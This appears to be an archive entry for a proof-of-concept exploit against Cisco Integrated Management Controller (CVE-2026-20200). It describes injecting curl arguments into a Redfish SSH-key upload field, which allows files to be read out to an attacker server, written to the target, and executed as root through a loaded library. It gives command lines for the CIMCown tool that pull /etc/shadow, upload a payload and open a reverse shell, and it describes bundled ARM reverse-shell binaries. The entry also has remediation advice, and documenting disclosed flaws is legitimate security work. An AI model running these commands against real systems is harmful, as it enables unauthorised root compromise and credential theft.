PoC Archive PoC Archive
CVE-2026-20200 / NSIDE-SA-2026-003 category: network CVSS 9.9 (CRITICAL)
Patched

Cisco IMC Argument Injection to Root RCE (CVE-2026-20200)

Published: 2026-08-16 • Researcher: Christoph Peil (NSIDE ATTACK LOGIC)

Target software Cisco Integrated Management Controller (CIMC)
Affected versions Vulnerable versions prior to Cisco fix
Status Patched
Severity Critical · CVSS 9.9
CVSS 9.9/10
Severity
Critical
CVE
CVE-2026-20200 / NSIDE-SA-2026-003
Category
network
Affected product
Cisco Integrated Management Controller (CIMC)
Affected versions
Vulnerable versions prior to Cisco fix
Disclosed
2026-08-16
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-08-16
Last Updated2026-08-16
Author / ResearcherChristoph Peil (NSIDE ATTACK LOGIC)
CVE / AdvisoryCVE-2026-20200 / NSIDE-SA-2026-003
Categorynetwork
SeverityCritical
CVSS Score9.9 (NSIDE) / 8.8 (Cisco)
StatusPatched
Tagscisco, imc, cimc, argument-injection, rce, redfish, curl, reverse-shell, arm, file-read, file-write, CVE-2026-20200

Affected Target

FieldValue
Software / SystemCisco Integrated Management Controller (CIMC)
Versions AffectedVulnerable versions prior to Cisco fix
Language / PlatformPython 3 (exploit), Go (reverse shell), ARM cross-compiled
Authentication RequiredYes – valid CIMC credentials
Network Access RequiredRemote – HTTPS access to CIMC management interface

Summary

CVE-2026-20200 is an argument injection vulnerability in Cisco IMC that allows an authenticated user to achieve root-level RCE. The Redfish API SSH key upload handler (ManagerAccount.UploadSSHKey) passes the KeyURI parameter to curl without sanitization. An attacker injects additional curl arguments to read arbitrary files, write to arbitrary paths, and load shared libraries – achieving full command execution on the ARM-based CIMC.

The exploit tool (CIMCown) supports file download, upload, reverse shell build (Go cross-compiled for ARM), and full reverse shell chain via curl --engine.

Vulnerability Details

Root Cause

The CIMC Redfish API handler constructs a curl command using the KeyURI parameter without sanitizing curl-specific arguments. Injecting -o writes files, -X POST --data-binary @file exfiltrates contents, and --engine loads a shared library.

Attack Flow

  1. Authenticate: Log in to CIMC, obtain session cookie and SID
  2. File download: Inject --data-binary @<file> to exfiltrate to attacker HTTP server
  3. File upload: Inject -o <path> to write attacker-hosted file to CIMC filesystem
  4. Reverse shell: Upload ARM Go binary + loader library, inject --engine to execute

Impact

  • Authenticated root-level remote code execution on CIMC
  • Arbitrary file read/write on the management controller
  • Full reverse shell access
  • Scope change: CIMC compromise may affect managed server hardware

Environment / Lab Setup

Shell script
1
2
3
4
pip install -r requirements.txt
sudo apt install golang-go  # for building reverse shell

python3 CIMCown.py -U admin -P password -t 192.168.10.2 -a test

Proof of Concept

Source files mirrored from NSIDE-ATTACK-LOGIC/CIMCown.

Key Files

FilePurpose
CIMCown.pyMain exploit – argument injection via Redfish API (448 lines)
authentication.pyCIMC login/logout with AES-encrypted credentials (147 lines)
util.pyHelper functions, Go reverse shell build, curl queries (193 lines)
fileserver.pyHTTP server for file transfer (124 lines)
shell/reverse_shell.go.exampleGo reverse shell template for ARM cross-compilation
shell/lib.soPre-compiled ARM loader library (7KB)
shell/revshellPre-compiled ARM Go reverse shell (3.2MB)

Actions

Shell script
1
2
3
4
5
6
7
8
9
python3 CIMCown.py -U admin -P cisco -t 10.0.0.1 -a test

python3 CIMCown.py -U admin -P cisco -t 10.0.0.1 -a download -d /etc/shadow

python3 CIMCown.py -U admin -P cisco -t 10.0.0.1 -a upload -u ./payload -p /tmp/payload

python3 CIMCown.py -U admin -P cisco -t 10.0.0.1 -a build

python3 CIMCown.py -U admin -P cisco -t 10.0.0.1 -a shell

Detection and Indicators of Compromise

Output

Remediation

ActionDetail
PatchApply the Cisco security update for CVE-2026-20200.
WorkaroundRestrict CIMC management access to trusted networks. Use strong credentials. Monitor Redfish API access logs.
VerificationTest with -a test action against patched CIMC.

References

Notes

All Python source files screened (CIMCown.py, authentication.py, util.py, fileserver.py). Authentication code derived from Nettitude CVE-2024-20356 work (acknowledged in source). Dependencies: pycryptodomex, requests, urllib3. All network activity directed at user-specified target or local HTTP server for file transfer.

BINARY CAVEAT: shell/ directory contains pre-compiled ARM binaries – lib.so (7KB, calls execl to chmod+exec /tmp/main), revshell (3.2MB, Go reverse shell), socat (885KB). Source template provided for the Go shell (reverse_shell.go.example). The lib.so source is inline in util.py buildLib() function. Author is NSIDE ATTACK LOGIC, a legitimate German offensive security firm.

No obfuscation, no unexpected remote connections, no credential exfiltration beyond intended functionality.